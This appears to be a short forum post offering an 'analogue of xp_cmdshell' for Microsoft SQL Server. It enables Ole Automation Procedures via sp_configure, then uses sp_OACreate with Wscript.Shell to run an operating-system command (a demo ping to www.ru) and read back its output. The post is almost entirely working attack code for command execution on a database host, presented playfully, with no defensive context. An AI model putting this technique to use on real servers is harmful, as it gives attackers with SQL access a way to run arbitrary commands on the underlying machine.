analogue xp_cmdshell
-----------------------
MSSQL2000 :
nothing
MSSQL2005 :
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
-----------------------
declare @iShl int, @iStm int, @iStdOut int, @hr int, @EndOfStream int,
@strText nvarchar(4000), @cmd nvarchar(4000)
set @cmd = 'Exec("cmd /c ping -n 3 -w 1000 http://www.ru")'
EXEC @hr = sp_OACreate 'Wscript.Shell', @iShl OUT
EXEC @hr = sp_OAMethod @iShl, @cmd, @iStm out
EXEC @hr = sp_OAGetProperty @iStm, 'StdOut', @iStdOut out
EXEC @hr = sp_OAGetProperty @iStdOut, 'AtEndOfStream', @EndOfStream out
WHILE @EndOfStream = 0 BEGIN
EXEC @hr = sp_OAGetProperty @iStdOut, 'ReadLine', @strText out
print @strText
EXEC @hr = sp_OAGetProperty @iStdOut, 'AtEndOfStream', @EndOfStream out
END
EXEC @hr = sp_OADestroy @iShl
-----------------------
:hehe: